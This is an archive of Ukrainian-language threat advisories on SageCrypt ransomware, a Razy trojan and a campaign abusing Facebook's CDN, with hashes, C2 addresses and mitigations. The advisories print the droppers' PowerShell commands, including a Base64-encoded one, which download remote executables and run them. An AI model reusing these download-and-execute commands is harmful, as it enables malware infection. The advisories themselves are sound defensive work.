Archive | 04/09/2017

IOC_SageCrypt_040917

Доброго вечора, панове.

Сьогодні також було зафіксовано спробу доставки уже відомого вам SageCrypt ransomware.

Рівень загрози – високий. (нічого складного нема, просто якщо не брати powershell – проходить крізь більшість стокових фільтрів + вельми низький рейт по Virus Total)

Для організацій, що прислухалися до рекомендацій у попередніх повідомленнях – низький.

Користувачі захисту кінцевих точок McAfee (VSE/ENS) зауважте, що основне тіло детектуєтся по GTI

Трохи аналітики:

Будь ласка, зверніть увагу на наступні особливості атаки

  • Документ не містить макрос, натомість там bat файл з інструкціями для PowerShell
  • Механізм дуже примітивний, але становить загрозу для тих, хто досі користується лише сигнатурним аналізом
  • Нічого нового, механізм OLE почали використовувати ще кілька років тому, просто раніше це було у вигляді “акт_сверки.exe”

Схема атаки:

email > attach DOCX > OLE > bat > powershell > URL > GET > %temp%\tempmsinstaller.exe

Маркери IOC:

документ із bat файлом

File Name просмотр_квитанции.docx
SHA-256 Hash Identifier 9E33F10650E32A33917F23E2D6F2DBC8076A822B340EB1D7B81CBE27E2A13C6A
File Size 16805 bytes
File Type application/vnd.openxmlformats-officedocument.wordprocessingml.document

При при активації OLE об’єкту запускається bat файл

File Name ✉_квитанция_для_печати.bat
SHA-256 Hash Identifier 255E91D8B9E1D162C83990E3B1914CB8C7116B5CD1568424685469D0065F949E
File Size 240 bytes
File Type ASCII text

який подає наступну команду на PowerShell:

powershell  Set-ExecutionPolicy Bypass -Scope Process;$path=($env:temp+'"msinstaller.exe'");$WebClient = New-Object System.Net.WebClient; 
$WebClient.DownloadFile('"h11p://thewomenslibrary.org.au/cgi_bin/ruki.exe'",$path); Start-Process $path

Процес C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ініціює з’єднання

69.89.31.250 HTTP 372 GET /cgi_bin/ruki.exe HTTP/1.1

Відбувається завантаження основної частини

File Name ruki.exe
SHA-256 Hash Identifier 72A900F45B6E36009BBA70CEA15C14B7D9A9C48184FCFB0FBEBE9AA49F58A464
File Size 1320960 bytes

Після запуску зразок основного тіла ініціює з’єднання із такими серверами:

141.20.33.68:9001
154.35.32.5:443
193.23.244.244:443
208.83.223.34:80
5.196.20.85:9001
85.195.207.92:9001
128.31.0.39:9101
216.218.222.10:443
46.249.37.143:9001
86.59.21.38:443

Дублює себе за шляхом:

C:\ProgramData\Windows\csrss.exe

Та додає у автозавантаження:

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\\Client Server Runtime Subsystem “C:\ProgramData\Windows\csrss.exe REG_SZ

Що можна було зробити аби уникнути інфікування ?

  1. Активацію OLE можна було заблокувати змінивши параметри MS Office
  2. Завантаження основного тіла шкідливого коду можна було уникнути заборонивши мережеві з’єднання для процесу PowerShell (одне правило вбудованого брандмауера)
  3. Або ж завантаження запускних файлів можна було заблокувати на рівні proxy (через Web Gateway)
  4. Запис на диск та запуск основного тіла можна було заборонити блокуванням створення .exe файлів у каталозі профілю (групові політики або Access Protection Rules)

Таким чином, як бачите, до запуску основного тіла було 4 кроки, упередження хоча би одного з них = зупинка атаки.

Мережеві IOC:

69.89.31.250 HTTP GET /cgi_bin/ruki.exe HTTP/1.1
141.20.33.68:9001
154.35.32.5:443
193.23.244.244:443
208.83.223.34:80
5.196.20.85:9001
85.195.207.92:9001
128.31.0.39:9101
216.218.222.10:443
46.249.37.143:9001
86.59.21.38:443

Контрзаходи:

  • Перевірка журналів мережевого обладнання по наданим маркерам
  • Блок запуску OLE об’єктів через параметри пакету MS Office (HKCU\Software\Microsoft\Office\<Office Version>\<Office application>\Security\PackagerPrompt)
  • Блокування доступу PowerShell.exe до мережі Інтернет
  • Заборона створення та зчитування/запуску *.exe з каталогів профілю користувача %appdata%, а не лише у %temp% !
  • Жорстка фільтрація каналів доставки із перевіркою репутації як посилань так і самих файлів (MWG, MEG + GTI)
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

Будьте уважні та обережні!

VR

IOC_trojanRazy_040917

Доброго дня, панове.

Сьогодні в першій половині дня було зафіксовано спробу доставки троянського шкідливого коду.

Рівень загрози – середній.

Для організацій, що прислухалися до рекомендацій у попередніх повідомленнях – низький.

Користувачі захисту кінцевих точок McAfee (VSE/ENS) зауважте, що основне тіло детектуєтся сигнатурами (навіть не GTI)

Трохи аналітики:

Будь ласка, зверніть увагу на наступні особливості атаки

  • При завантаженні основної частини використовується переадресація за іншим URL та по HTTPS (вперше мені такий підхід трапився 24го серпня)
  • Основна частина завантажується під виглядом графічного файлу (спроба обійти грубі фільтри трафіку)
  • На відміну від попередніх зразків рядок інструкцій PowerShell закодований у Base64 (спроба замаскувати команду на завантаження та запуск .exe)
  • Останнім часом приманки починають записувати основну частину не у %Temp% як раніше, а у \Desktop чи в як даному випадку – \MyDocuments (спроба обійти обмеження на запуск із %Temp%)
  • В даній розсилці макрос містить лише одну адресу на основне тіло, хоча останнім часом додають резервне посилання
  • Користувачі захисту кінцевих точок McAfee (VSE/ENS) зауважте, що основне тіло детектуєтся сигнатурами (навіть не GTI)

Схема атаки:

email > attach (RAR) > DOC > macro > URL1 > redirect > URL2 > GET > jpeg > %Userprofile%\MyDocuments\hyPbbidtnSAxzw.exe

Маркери IOC:

архів

File Name Trade_Price_List.rar
SHA-256 Hash Identifier 804BAC1E13A41C1F0FFDC6854CBE1515707FB4CF6CACBE91C59FA46902CB4C81
File Size 428588 bytes
File Type application/rar; charset=binary

в архіві міститься

документ із макросом

File Name Trade_Price_List.doc
SHA-256 Hash Identifier 566CBA00C7524E3F1908C1BAAA8B381304B2E2C6708061047F0CA619ECB3FA5B
File Size 862003 bytes
File Type application/msword

При відкритті документу активується макрос який подає наступну команду на PowerShell:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEA
ZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwBTADYAOABSAEQAWAAuAGoAcABlAGcAJwAsAFsA
...

При конвертації з Base64 отримуємо такий алгоритм дії:

try{(New-Object System.Net.WebClient).DownloadFile('h11p://i.cubeupload.com/S68RDX.jpeg',[Environment]::GetFolderPath('MyDocuments')+'\hyPbbidtnSAxzw.exe');
(New-Object -com Shell.Application).ShellExecute([Environment]::GetFolderPath('MyDocuments')+'\hyPbbidtnSAxzw.exe');}catch {}

Процес C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ініціює з’єднання

h11p://i.cubeupload.com/S68RDX.jpeg      46.4.115.108 HTTP GET /S68RDX.jpeg

на сервері відбувається переадресація на
h11ps://u.cubeupload.com/S68RDX.jpeg      46.4.115.108 HTTPS GET /S68RDX.jpeg

Відбувається завантаження начеб-то графічного файлу який записується і запускається із %Userprofile%\MyDocuments\hyPbbidtnSAxzw.exe

File Name S68RDX.jpeg (EXE)
SHA-256 Hash Identifier 45D65CBD463F786F09F66A62C16CBECFE29F08FE6270CE45AB30794D02D4D11F
File Size 346624 bytes

Після запуску зразок основного тіла ініціює SYN з’єднання із сервером контролю:

212.7.208.100 TCP 3232 [SYN]

Та пише журнал у кодованому форматі за шляхом:

\AppData\Roaming\Imminent\Logs\%системна дата%

Що можна було зробити аби уникнути інфікування ?

  1. Доставку приєднання із макросом можна було зупинити через карантин файлів з макросами на рівні поштового шлюзу (як приклад через Email Gateway)
  2. Запуск макросу можна було заборонити через блокування макросів у параметрах пакету MS Office (групові політики)
  3. Завантаження основного тіла шкідливого коду можна було уникнути заборонивши мережеві з’єднання для процесу PowerShell (одне правило вбудованого брандмауера)
  4. Або ж завантаження запускних файлів можна було заблокувати на рівні proxy (розкриття SSL трафіку та перевірка дійсного типу файлу, як приклад через Web Gateway)
  5. Запис на диск та запуск основного тіла можна було заборонити блокуванням створення .exe файлів у каталозі профілю (групові політики або Access Protection Rules)

Таким чином, як бачите, до запуску основного тіла було 5-6 кроків, упередження хоча би одного з них = зупинка атаки.

Мережеві IOC:

46.4.115.108 HTTP GET /S68RDX.jpeg

46.4.115.108 HTTPS GET /S68RDX.jpeg

212.7.208.100 TCP 3232 [SYN]

Контрзаходи:

  • Перевірка журналів мережевого обладнання по наданим маркерам
  • Блок запуску макросів через параметри пакету MS Office
  • Блокування доступу PowerShell.exe до мережі Інтернет
  • Заборона створення та зчитування/запуску *.exe з каталогів профілю користувача %appdata%, а не лише у %temp% !
  • Жорстка фільтрація каналів доставки із перевіркою репутації як посилань так і самих файлів (MWG, MEG + GTI)
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

Будьте уважні та обережні!

VR

fb CDN as malware distribution vector

Усім доброго ранку.

У попередньому дописі я вже підіймав тему розповсюдження шкідливого контенту через довірені web ресурси.

За даними команди @malwrhunterteam 2 вересня в Бразилії проходила масова кампанія з доставки банківського трояну.

Особливістю цієї атаки було те, що посилання на dropper вказувало на Facebook CDN:

Приклад фішингового листа. Текст і посилання різні – ми це вже бачили раніше

Але посилання на шкідливий скрипт вказує на

h11ps://cdn.fbsbx.com/v/t59.2708-21/20952350_119595195431306_4546532236425428992_n.rar/NF-DANFE_FICAL-N-5639000.rar?oh=9bb40a7aaf566c6d72fff781d027e11c&oe=59AABE4D&dl=1

В чому тут проблема запитаєте ви? Особливість такого modus operandi (спосіб дії) у тому, що 90% рішень захисту мережі по замовчуванню вважають адреси популярних мереж доставки контенту довіреними, а частина рішень взагалі не має можливості їх заблокувати/заборонити. Розрахунок йде на те, що ці адреси дозволені навіть при високому рівні обізнаності та перестороги.

При переході за посиланням сторінка видає PowerShell скрипт який завантажує інший скрипт, який уже в свою чергу доставляє шкідливий dll

Перший скрипт

Другий скрипт – доставка dll

# # #

Які  висновки ми маємо зробити з цієї інформації?

  1. Цей спосіб раніше широко не застосовувався, отже через 3-4 тижні можна буде очікувати чогось подібного уже з прицілом на вітчизняні організації (akamai, amazon, cloudflare etc)
  2. Підрозділам ІТ/ІБ вкотре потрібно перебрати налаштування захисту адже перевірка репутації не захистить від такого методу доставки
  3. Загалом усе йде до того, що в умовах сучасного ландшафту загроз немає мови про довіру (до джерела, до  посилання, до файлу) – кожна із ланок доставки/обробки інформації може бути скомпрометована, а від так кожен файл, кожен URL мусить підлягати жорсткій перевірці перш ніж передавати доступ користувачеві
  4. Знов використання PowerShell для інфікування та активації шкідливого коду – посильте контроль або заблокуйте вихідний трафік на брандмауері (по аналогії із WSH, див. варіант 1й)
  5. Не варто забувати про можливість компрометації сайтів державних та комерційних установ – цей тренд теж набуває обертів.

Будьте уважні та обережні!

VR